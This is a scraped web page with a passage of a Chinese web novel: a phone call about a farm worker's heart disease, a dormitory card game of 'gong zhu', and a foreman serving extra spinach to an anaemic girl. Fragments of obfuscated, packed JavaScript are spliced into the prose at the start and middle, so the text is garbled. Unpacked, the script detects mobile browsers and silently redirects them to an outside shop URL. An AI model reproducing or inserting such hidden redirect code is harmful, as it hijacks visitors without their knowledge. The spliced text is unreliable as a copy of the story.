d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是提方秋芙,他必然要打破砂锅问到底,说不定还要坏他事。 赵驰不想再耽误时间解释,随意先编了一个借口。 赵驰:“驻地农场有个知青,应该是先心病,你导师那边能帮我挂个号吗?我下个月找时间把人送过来检查。” “先心病啊……多大年纪了?” “十八岁。” “身体现在怎么样?” “正常生活看起来没问题。” “之前没治疗过吗?前一家医院怎么说?” “……” 赵驰沉默了一瞬。 上一世和方秋芙领完证没多久,他就带着她去了医院检查。可惜那时傅之安早已去了江宁军区,忙得自顾不暇,导师也被调到花城的驻地医院,赵驰只能带方秋芙去了他那时能找到的最好去处,金城第一人民医院。 他现在都还记得,那位心脏外科主任摇头的画面,像是拿一把锈刀生生挖他的肉。 “太晚了,她这几年心脏负荷太大,就算我冒险给她上新技术,身体也承受不了,开台绝对没命醒过来。家属还是早做准备吧,先心病能活到二十岁也不容易了。” 等到方秋芙去世,远在江宁的傅之安听闻情况,还自责了许久。他明明主修心脏外科,在医学院时就被称为少年天才,更是年纪轻轻就成了主刀,却没能救那位素未谋面的嫂子一命。 傅之安是赵驰最好的朋友。 赵驰想到过去,喉咙发干,没直接回答问题,“不清楚情况。” 值班员指了指表,示意还有十秒。 恰好傅之安的声音透过听筒传回来,“行,那你确定了时间,提前两天给我电话,应该能办,过来先让周教授看看吧。” “好,挂了。” 电话结束。 赵驰松了一口气。 那头,傅之安放下听筒,清隽的脸上略带倦容。 他摘下眼镜,捏了捏眉心,顺便和电话室的值班员讲了个冷笑话,才打起精神准备返回急诊大厅。 刚走了两步,傅之安才意识到他忘了问赵驰,那位先心病患者是男还是女。 想了想赵驰那不解风情的性格,傅之安心中有了决断。 能让他在深夜打电话拜托自己,应该是个很上进的男同志吧! 13. 第 13 章 不到两天,新来了几个知青的事情就在农场传开了。 有人说是从金城调来,有人说是燕京,有人说是沪市下放时走丢的白痴,还有人说是被退学的问题学生,什么传言都有,却没听他们之中有谁跳出来解释。 年轻人们的兴趣来得快,去得也快。 聊了两天发现没什么意思,众人的话题很快就从新知青,演变回日常话题:晚饭什么时候添块猪肉,供销商店上新的衬衫和棉裤,哪个宿舍有新玩法打发时间,县城哪家国营饭店性价比最高,理发修面哪个老师傅手艺最好。 但有的人还记得曾经的仇怨。 今夜的云压得很低。 此时的“12号宿舍”气氛很诡异。 刘翠兰把放置水盆的小木架抵在门口,手里护着她的蝴蝶兰盆栽;李向华正对着墙壁念念叨叨,像是在祈祷同伙犯错不要被抓到,门外也不要有人闯入阻止她们;孙玉和方秋芙坐在中央,一左一右,孙玉表情严肃,似在思考战术;方秋芙则是不忍直视,暗暗期待有拯救天使降临人间。 “啪——” 击打声清脆传来。 众人倒吸一口气。 陈秀萍眯眼,指尖一甩,拍下底牌,“黑桃K!” 方秋芙脸色一变。 竟然这么狠毒? 啊啊啊她不要做最后一名! 孙玉更是直接惊呼,“好你个陈秀萍,竟然学会藏牌了!亏我还把我的大牌丢了进去,这下全让你吃了,池子里有十几张牌,怎么没撑死你呢?” 陈秀萍摇头晃脑,得意洋洋,“输了吧?吃完这轮牌,我的分就够了!”她如今胜券在握,想到赌注,拿捏起了姿态,像只骄傲的孔雀,向斜角的人发难,“哎哟~谢青云,我没算错的话,你是最低分吧?” 谢青云身上换了件普通灰衫。 她紧抿唇角,垂着眼看牌。 陈秀萍瞧她一言不发,语气更加笃定,“好了,愿赌服输,就别再挣扎算分数,我已经赢定了!既然最后一名要给第一名打水整个星期,那你就从今晚开始呗?谁让你扯我头发来着……” 她语气上扬,看得出来开心极了。 这一轮生死局,四人甩了不少底牌。 棋局已定。 孙玉甚至开始思考话术,考虑要怎么劝谢青云才合适。既能让她别赖账,又不会得罪人。 其实孙玉在面对谢青云时,人总是有点发怵。谢青云性格孤僻就算了,偏偏又有些不按常理出牌的乖戾,让孙玉这个炮仗都有点怕怕的,生怕谢青云发疯,毫无预兆点燃引线,直接和自己一换一爆了。 若不是方秋芙总是有意无意照顾,孙玉是真的不想和谢青云过多接触。 危险的女人,不需要她保护。 别炸她就不错了! 但秋秋喜欢,孙玉就决定爱屋及乌。 “那个……” 孙玉放下手牌,刚开口,就见谢青云意味深长笑了起来。 她慢悠悠地抽出牌,不急不缓递到牌池最表面,细长的柳叶眼锁定在陈秀萍的脸上,“抱歉,这头猪在我手里放太久了,还是你牵走吧。” 她手指夹住卡牌,凌厉地翻了个面。 黑桃Q。 也叫猪牌,计分为负100。 陈秀萍愣住了。 方秋芙和孙玉也陷入呆滞。 还是方秋芙先反应过来,感慨道,“此轮秀萍的黑桃K最大,按规则,出来最大的人要收下本轮所有卡牌并计分,加上青云最后出的猪牌,所以……” 她看向脸色苍白的陈秀萍,有些不忍,但想到自己惊险逃过一劫,确认不再是倒数,内心又有些小兴奋,“秀萍,你这轮分值为负的45,算上总分,你从第二名变成了最后一名。” 好耶!她确认是第三名! 安全结束。 感谢谢青云!伟大! 方秋芙默默望着她,露出湿漉漉的眼神。 谢青云:…… 又想犯规。 真烦人,假装没看到吧。 陈秀萍已经崩溃了。她不敢和谢青云动手,只能在宿舍里快步走,绝望地将手掌抵在耳边,围着房间抱着脑袋转圈,破防爆鸣。 “啊啊啊啊!谢青云你这个恶毒的女人!你早不出晚不出那张猪牌,是不是就是蹲我呢?好恶心好恶心,好坏!啊啊啊!” 孙玉慢了半拍,终于反应过来,看向谢青云的眼神更加复杂。还好还好,谢青云她喜欢一个人呆着,并不像是会交朋友的人。 不然她可抢不过! 真是可怕的心机。 刘翠兰抱着花盆走过来复盘,不断发出“哇哦”的声音,像是故意在陈秀萍的身上扎针。 她叫了叫旁边偷笑的李向华,“还好今天我俩抽签先出局,没上牌桌,秀萍要给青云打一个星期的水呢,好~可~怜~哦~” 陈秀萍猛然转头。 她惹不起谢青云,但她敢和刘翠兰斗啊! 两人很快纠缠在一起,又是尖叫,又是咬手指,像两只没有战斗力的家养小猫。 谢青云起身拍了拍裤腿上沾着的草根,幽幽道,“今天太晚了,就从明天开始吧,愿赌服输,每天一桶水。” 陈秀萍气得不行,一个不留神,被刘翠兰狠狠咬了一口手指,疼得她挣扎抽手,争执中又扯断了两根头发。 她彻底放弃了,瘫在炕边,自暴自弃,“我真傻,真的。” “我单知道拱猪是大家在农场里打发时间玩的游戏,我不知道原来谢青云也会。” 她眼泪说来就来,仰起下巴,凹出一个我见犹怜的画面,看向窗外漆黑的夜景,“阿浩要是在的话,也就不会输了。” 众人忙着挪动小木架,洗漱收拾准备睡觉,零人在意她的独角戏。 入秋微凉,一夜好眠。 次日食堂,方秋芙熟练地挽袖子上工。 她走进仓库,准备淘菜,却发现篓子里出现了她认识的蔬菜。 天知道她这半个月来,每天都在刷新野菜大百科。 “竟然是菠菜?”她左右手共用,各抱了两大篓,路过灶台时,顺嘴问了问掌勺的社员,“今天是要熬粥还是摊饼呀?” 食堂的厨子是一个四十岁左右的微胖大叔,他左侧耳朵听不见。 方秋芙又问了一遍,他才“哦”了声,才回答,“不知道,物资那边临时拉过来的,说是汪队长点名要的,我先瞧瞧新不新鲜呢。” 他走过来,捻了两把检查,“不错不错,很嫩。” 方秋芙抱着篓子去水池,刚放下菠菜,就被汪队长喊过去。 “小方同志,菠菜太嫩别洗过头,不用拿水泡,你拿水龙头冲两把就行了。”汪队长刚搬完米袋,转头看见她还是嘴唇发白,又想到这箱来之不易的菠菜,小声道,“今晚我值班打菜,你多吃点菜,听到没?” 方秋芙觉得自己吃挺多的了,起码比在沪市食量大得多。 要是朱妈知道她现在一顿能啃两个大馒头,应该会很放心。 虽然不解,但她还是选择了点头,“好。” 汪队长没耽误她的工作,吩咐好,转头继续忙。 她不懂贫血,也不懂心脏的病。 但她想,毕竟是个刚成年的小姑娘,人生都还没开始呢。能帮就帮吧。 上周提交采购单时,她意外想起老家婶子坐月子的时候说菠菜能补铁,营养价值高,于是鬼使神差就添了进去。 汪队长想,血里面不就是铁嘛?多少能管点用。 没想到还真有机会申请到! 听说是驻地食堂最近也在市场大批量采办,恰好食堂采购的社员和陈班长认识,提了两句,隔了一周就给他们青峰农场批了两箱过来。 傍晚,霞色暗了下来。 立秋已过,八月末的傍晚带着丝丝凉意。 农场食堂的餐桌一如既往热闹,年轻的社员们围坐在一起,干了整整一天的农活,都饿得发昏。长凳上坐满了人,大家都抱着碗埋头吃,偶尔穿插着调笑和吆喝声。 方秋芙拿着搪瓷碗排队。 排到窗口,汪队长大勺一抖,盖了满满一碗菠菜。 “……”方秋芙汗颜,是不是太明目张胆? 汪队长面无表情,仿佛真的只是手抖了一下,还凶了她一句,“愣着干嘛?别挡着下一位社员,走开。” 方秋芙眨眨眼离开,端着铺成小山坡的清炒菠菜,寻找位置。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701533|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她捕捉到了角落里的谢青云。 怎么又是一个人吃饭? 方秋芙快步过去,放下搪瓷碗,主动招呼她,“青云,好巧!我下午的时候听说,今天好像有人在田里打架来着,什么情况?” 谢青云嘴角一抖,想到那谁滚得浑身都是泥的画面,否认摇头,“我不知道,不认识。” 方秋芙自顾自夹了一筷子给她,“也是,你刚去,肯定还在忙着熟悉工作。那你在农田组还习惯吗?” 刚问出口,方秋芙就有点后悔了。谢青云和岑攸宁都是聪明人,在哪里都会混得如鱼得水,说不定年底还要竞争优秀名额呢。 谢青云瞧着盘子里多出来的炒菠菜,刚想骂她一句“多管闲事”,就被突然从身边冒出来的脑袋打断了话语。 孙玉正在啃新鲜出炉的菠菜面饼,手心沾着薄薄一层酥油,泛着亮亮的光,咬下去的瞬间,还能听见脆脆的声音。 她见到两人的亲密熟稔,面色微怒,“你俩偷偷一起吃饭不带我?” 幸好她聪明,打完饭就开始寻找方秋芙,不然就要被挖墙脚了! 方秋芙咽下嘴里的菠菜,正色道,“不是偷偷,是我主动的。” 她记得谢青云那晚说要去见朋友,结果每天都是一个人吃饭,应该是分道扬镳吵架了。 一个人会很孤独的。 她想,等谢青云和她朋友和好了,她再履行那晚的约定吧,也不算失约。 谢青云被方秋芙的话堵住舌头。 她很无语。 啊——为什么她语音无法控制啊?沪市人听不懂中文吗?她不是说了让她远离自己吗?怎么一天天地凑过来!烦死了!谁要你主动! 谢青云想说难听的话劝退她,可见到方秋芙言辞恳切的脸,顿时就收拢了浑身的刺。 哎,好想咬人啊。 明天去田里踢两脚谢扶风算了。 也算是让他和好兄弟一起啃泥巴了。 方秋芙没忘记孙玉,夹了一把菠菜到她碗里,还主动邀约,“那明天我们三个一起呗,人多吃饭也热闹,还可以叫上向华和翠兰,哦对,秀萍呢?出发打水去了?” 谢青云的嘴巴比大脑转得快,“她早就打完了。” 陈秀萍这人好面子,她害怕被人看到丢人现眼遭耻笑,今早上工之前就去把水打回来了。虽然现在早就凉透,但谢青云也懒得折腾她了。那女人哭起来真的很吵。 谢青云愣了两秒。 不对,她为什么会接话? 孙玉像是想起了什么,也不管假想敌的事情了,神神秘秘道,“我知道她去哪里了!” 方秋芙刨了口糙米饭,“哪里?” 孙玉做出口型,一字一顿。 “会、情、郎。” 方秋芙筷子差点掉下来,“真的假的?”是她想象的那种吗?会不会玩太大! 孙玉瞧了一眼脸色不改半分的谢青云,心想,她取代不了自己,毕竟这种好玩的事情,只有她孙玉才想的出来。 于是,她忽然提议,“你们想不想去偷看?” 十分钟后,萧烬顶着一头湿发坐在谢扶风对面,白衬衫松松垮垮挂在他身上,依旧能显出少年挺拔的骨架。 他下意识嗅了嗅鼻子,总觉得空气里还残存着土腥味,浓郁得不讲道理,他禁不住想起今天揍那个嘴贱臭小子的画面,心烦得很。 “嘁,怎么没把他打死。” 萧烬黑曜石般的眼里散发着戾气。 谢扶风没接话。 萧烬察觉到他的异样,没多想,“发什么呆?还没接受现实?” 谢扶风敛起目光,长睫轻颤。 萧烬懒得管他。 他下意识想在食堂揪出那烦人的小子再打一顿,眼神却敏锐发现了不对劲——谢青云被一个生得出挑的女人牵着手,似乎要跟着前面的人,往水房的方向去,看动作还有点鬼鬼祟祟。 他第一反应是谢青云要惹事。 盯了两秒,萧烬却注意到那个陌生女人脸上含着笑,杏眼弯弯像月亮。 他唇角勾出一个兴味十足的弧度,吊儿郎当用筷子敲了下眼前人的碗边,示意他看过去,“真是开眼,你姐竟然交上朋友了?”